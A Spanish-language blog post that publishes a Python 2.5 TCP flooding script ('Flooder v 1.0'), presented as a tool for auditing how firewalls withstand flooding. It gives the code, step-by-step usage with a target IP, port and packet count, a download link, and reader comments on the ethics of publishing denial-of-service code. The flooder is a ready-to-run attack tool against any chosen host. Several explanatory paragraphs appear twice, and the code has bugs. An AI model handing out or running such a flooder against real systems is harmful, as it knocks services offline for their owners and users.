Hace un tiempo, cuando recién comenzaba con la programación de sockets en python, dejé en un foro un código que se suponía que saturaba una dirección IP y un puerto de dicha dirección. El mismo nunca funcionó, y al poco tiempo desistí de corregirlo por una cuestión de tiempo (por aquel entonces recién me se perfilaba la idea de lo que ahora es el proyecto Spartan CP666Scanner -http://spartan.ale666.com/Index.html-).
Esta mañana, vi el código fuente y pensé, ¿que utilidad puede tener?. Aca debemos hacer un parantesis sobre algo personal mio. He dedicado mucho tiempo escribiendo acerca de la ética del hacking, de si es ético o no hacer públicos códigos fuente de flooder´s y DoS program´s, y de pronto me di cuenta que yo mismo no cumplía con mi propia ética. Así, se dio una suerte de replanteamiento en cuanto a lo que considero ético o no, y en que momento un script de este tipo pasa de ser ético, a no serlo. Así, siguiendo la filosofía de Joanna Rutkowska (y muchos otros), hacer programas que desmuestren la vulnerabilidad de los sistemas, y las malas medidas de seguridad, es algo muy aceptable, es mas, entra en el caracter de servicio para el administrador de dicho sistema (¿Que es preferible, que los errores los encuentre un auditor de seguridad o un entusiasta de la seguridad informática?, ¿o que en su defecto lo haga un criminal hacker?). Así, me parece totalmen ético realizar acciones que pongan de manifiesto la inseguridad dentro de los sistemas informáticos, como así también la eficiencia de las compañías que diseñan el software a la hora de corregir dichos errores, o fallas de de seguridad.
Así, partiendo desde esta nueva mirada ideológica, re hice aquel código que había abandonado tiempo atrás, e hice mi primer auditoría de seguridad con el mismo, comprobando tres cosas. La primera, la version no profesional del Zone Alarm, no sirve de nada. Su filtrado de conexiones se limita solo a ver si autorizamos, o no un programa, dejando a los mismos al libre "albedrío". La segunda, los sockets creados a partir de NetCat tienen mejor filtrado de paquetes que ZoneAlarm, cerrando el socket bajo ataque flooding al recibir 1139886 bytes (a todo esto ZoneAlarm ni enterado de lo que acontecía). Y la tercera, hay soluciones mucho mas efectivas a la hora de elegir la seguridad, que aquellas que nos ofrecen las grandes compañias de software. Sin ir mas lejos, el sencillo bloqueador de puertos "AnalogX PortBlocker" de AnalogX (www.analogx.com), que cerró la conexión sin dar paso a que se iniciara el ataque flooding. ¿Conclusión?, actualmente se cuenta con mejores herramientas no pagas (no en todos los casos), que las que pueden ofrecernos grandes gigantes como Symantec, Panda Labs, KasperSky, McAfee, etc, y deja en clara evidencia que las medidas de las compañías no siempre apuntan a solucionar el problema, si no a perpetuar el mercado.
Flooder v 1.0
A continuacion esta el codigo del auditor de capacidad de respuesta de una aplicacion, firewall (ya sea por software o hardware), o cualquier sistema de filtrado de conexiones ante un ataque de saturacion por paquetes inutiles -flooding atack-.
El código esta en python (hecho con la version 2.5) y dicho programa es necesario, ya que los scripts de python se corren de manera interpretrada a tra vez de la consola interactiva de dicho programa.
Para usarlo, no se necesita conocimientos avanzados, ni nada por el estilo. Solo hay que una dirección IP y puerto objetivo.
La sintaxis es Flooder(IP, PORT, ATQNUM) debe ser respetada si no su funcionamient se verá alterado, con probables errores. Así, deberemos introducir tres datos:
Otras cuestiones a tener en cuenta, son que este programa solo funciona sobre aplicaciones que corren bajo el protocolo TCP. Además no soporta varias direcciones, ni varios puertos, es decir el input o valor de entrada de la sintaxis solo admite una direccion IP y un puerto.
Esta mañana, vi el código fuente y pensé, ¿que utilidad puede tener?. Aca debemos hacer un parantesis sobre algo personal mio. He dedicado mucho tiempo escribiendo acerca de la ética del hacking, de si es ético o no hacer públicos códigos fuente de flooder´s y DoS program´s, y de pronto me di cuenta que yo mismo no cumplía con mi propia ética. Así, se dio una suerte de replanteamiento en cuanto a lo que considero ético o no, y en que momento un script de este tipo pasa de ser ético, a no serlo. Así, siguiendo la filosofía de Joanna Rutkowska (y muchos otros), hacer programas que desmuestren la vulnerabilidad de los sistemas, y las malas medidas de seguridad, es algo muy aceptable, es mas, entra en el caracter de servicio para el administrador de dicho sistema (¿Que es preferible, que los errores los encuentre un auditor de seguridad o un entusiasta de la seguridad informática?, ¿o que en su defecto lo haga un criminal hacker?). Así, me parece totalmen ético realizar acciones que pongan de manifiesto la inseguridad dentro de los sistemas informáticos, como así también la eficiencia de las compañías que diseñan el software a la hora de corregir dichos errores, o fallas de de seguridad.
Así, partiendo desde esta nueva mirada ideológica, re hice aquel código que había abandonado tiempo atrás, e hice mi primer auditoría de seguridad con el mismo, comprobando tres cosas. La primera, la version no profesional del Zone Alarm, no sirve de nada. Su filtrado de conexiones se limita solo a ver si autorizamos, o no un programa, dejando a los mismos al libre "albedrío". La segunda, los sockets creados a partir de NetCat tienen mejor filtrado de paquetes que ZoneAlarm, cerrando el socket bajo ataque flooding al recibir 1139886 bytes (a todo esto ZoneAlarm ni enterado de lo que acontecía). Y la tercera, hay soluciones mucho mas efectivas a la hora de elegir la seguridad, que aquellas que nos ofrecen las grandes compañias de software. Sin ir mas lejos, el sencillo bloqueador de puertos "AnalogX PortBlocker" de AnalogX (www.analogx.com), que cerró la conexión sin dar paso a que se iniciara el ataque flooding. ¿Conclusión?, actualmente se cuenta con mejores herramientas no pagas (no en todos los casos), que las que pueden ofrecernos grandes gigantes como Symantec, Panda Labs, KasperSky, McAfee, etc, y deja en clara evidencia que las medidas de las compañías no siempre apuntan a solucionar el problema, si no a perpetuar el mercado.
Flooder v 1.0
A continuacion esta el codigo del auditor de capacidad de respuesta de una aplicacion, firewall (ya sea por software o hardware), o cualquier sistema de filtrado de conexiones ante un ataque de saturacion por paquetes inutiles -flooding atack-.
El código esta en python (hecho con la version 2.5) y dicho programa es necesario, ya que los scripts de python se corren de manera interpretrada a tra vez de la consola interactiva de dicho programa.
Para usarlo, no se necesita conocimientos avanzados, ni nada por el estilo. Solo hay que una dirección IP y puerto objetivo.
La sintaxis es Flooder(IP, PORT, ATQNUM) debe ser respetada si no su funcionamient se verá alterado, con probables errores. Así, deberemos introducir tres datos:
IP = La dirección IP objetivo a auditar. Ej: 127.0.0.1.
PORT = El puerto de la aplicacion que se va a auditar. Ej: 80.
ATQNUM = El numero de veces que vamos a mandar el paquete "basura". Ej: 1.000.000.
PORT = El puerto de la aplicacion que se va a auditar. Ej: 80.
ATQNUM = El numero de veces que vamos a mandar el paquete "basura". Ej: 1.000.000.
Otras cuestiones a tener en cuenta, son que este programa solo funciona sobre aplicaciones que corren bajo el protocolo TCP. Además no soporta varias direcciones, ni varios puertos, es decir el input o valor de entrada de la sintaxis solo admite una direccion IP y un puerto.
import socket
import sys
def Flooder(IP, PORT, ATQNUM):
obj = ATAQUE(IP, PORT, ATQNUM)
obj.flood()
class ATAQUE:
def __init__(self, datIP, datPORT, datNUMATQ):
self.IP = datIP
self.PORT = datPORT
self.NUMATQ = datNUMATQ
def flood(self):
socket1 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
basura = ':@:@:@:@:@:@:@:@:@:@:@:@:@:@:@:@:@:@:@:@:@:@:@:@:@:@:@:@:@:@:@:@:@:@:@:@:@:@:@:@:@:@:@:@:@:@:@:@:@:@:@:@:@:@:@:@:@' * 9999
x = 1
IP = self.IP
try:
while x == 1:
for i in range(1, self.NUMATQ):
socket1.connect((IP, self.PORT))
socket1.send(basura)
if self.NUMATQ == i:
X+1
else:
pass
print "Ataque finalizado"
sys.exit()
except:
print "El puerto %i de la dirección IP:%s, ha sido floodeado" % (self.PORT, self.IP)
sys.exit
Nota: El código debe guardar en un archivo *.py abrilo en el IDLE (de ser posible), ejecutarlo y luego insertar en la consola interactiva la sintaxis. No se olviden de tabular correctamente el código. Si no, pueden descarse el archivo .py ya creado desde aca: http://www.ale666.com/Foro/index.php?action=dlattach;topic=1690.0;attach=598

4 comentarios:
Con respecto a la eticidad de publicar codigo o conocimiento potencialmente dañino pienso que el conocimiento debe ser publico, y me parece bastante egoista querer guardarse el conocimiento para uno solo por mas que pueda ser dañino.
A mi entender lo que otros hagan con la informacion es su problema, no es problema del que publico la informacion.
Ademas en el mundo de la programacion hay una brecha muy grande entre entender lo que hace un programa potencialmente maligno, y utilizarlo. Con esto quiero decir que estaria bien publicar un codigo dañino para entender su funcionamiento pero no estaria bien publicar un programa que haga daño que pueda ser utlizado por cualquiera.
Para concluir, pienso que la informacion publica y libre es el mejor modo de enfrentarse a la inseguridad informatica, es por esto que muchas empresas que venden soluciones de seguridad cada vez mas integradas como symantec, mcafee, etc (firewall, antivirus, antispam,etc) tienen como unico objetivo vender mientras que un programa de la misma indole pero de codigo abierto tiene como unico objetivo prosperar gracias a una comunidad de programadores cada vez mas grande que hace lo que le gusta hacer, programar.
A mi entender, si haces algo porque te gusta va a resultar mucho mejor que si haces algo porque te pagan.
lindo blog Joa siempre me paso a dar 1 vuelta a ver si lo actualizaste xD
dale para adelante (y)
David, has de tomar algo en cuenta... los programas open source son la solucion a un problema de licencias en ambientes legales... habitualmente. Nos guste o no un programa comercial, de pago, sera siempre muy superior a un open source, tu dices casi, que lo hacen por amor.. yo digo, los que lo hacen por dinero ( exepto Microsoft) lo hacen mejor, sino muestrame un creador de PDF mejor que el adobe pro.
o un editor de imagenes mejor que Photoshop, y la lista seria muchisimo mas larga...
me gusta la idea del open source, pero la verdad, es que no se compara con el soft de pago...
claro que los que no pueden acceder al comprar el software y no piratean... se encuentran con que la unica que queda es opensource, o utilizar freeware
o sea, lo considero una excusa proveniente mas de la falta de poder adquisitivo que un idealismo
Con respecto al codigo de lo que sea. asi como existe una reglamentacion para la venta de armas, deberia haberla para el code malicioso, porque?, porque si la venta de armas fuera libre he irrestricta, estariamos en algo asi como el medio oeste, a los disparos porque no me gusta tu cara...
entonces queda a criterio y conciencia de quien lo tiene si lo distribuye o no.
Considero que el conocimiento es PODER, y es bueno adquirirlo,pero me encuentro con algo...
Si alguien por una genialidad descubre un code, que al liberarlo en Internet seria capaz de destruir todas las PCs, los servers, y la red en si... liberarias ese codigo...
solo porque es tu forma de ser?
no te parece que deberias ser cauteloso...
Esto es lo mismo... es muy bueno el conocimiento, pero no creo que se deba hacer 100% publico, sin saber a donde llega.
simple opinion.
666
666 sería lindo que existiera un código para la publicación de códigos potencialmente peligrosos, pero es una idea demasiado hipotetica, o al menos a años de luz de llevarse a cabo. Por esto, es que cada uno debe formar una ética propia para poder tomar este tipo de desiciones. Yo siempre dije que me parecía poco ético dejar en un foro de hacking un código de DoS, un flooder, etc, ya que son sitios de concurrencia masiva y por tanto no se puede tener una real noción de para que lo van a usar los receptores. Sin embargo, dejar un codigo de este tipo, en un lugar orientado a la programación, o a la correción de errores en software, es muy ético. El dicho "la mejor defensa es un buen ataque" tiene mucho que ver en esto. No hay mejor manera de proteger un sistema, que sabiendo como se vulnera. Otra cosa sería descubrir un error y no mandar una notificacion a la empresa para que lo corrija, y dejarlo en un foro, de manera que sus usuarios puedan usarlo para fines delectivos, o al menos dañinos.
Respecto al soft libre, no creo que un producto pago sea mejor que uno gratuito, si no todo lo contrario. Un programador de soft libre, lo hace por el amor a programar y el deseo de brindar algo bueno, no por el incentivo monetario, por lo cual un producto comercial carece de dicha motivacion. Veamoslo así, un programador de Microsoft, le da igual si Windows Vista es seguro o no mientras la empresa le pague su sueldo.
Publicar un comentario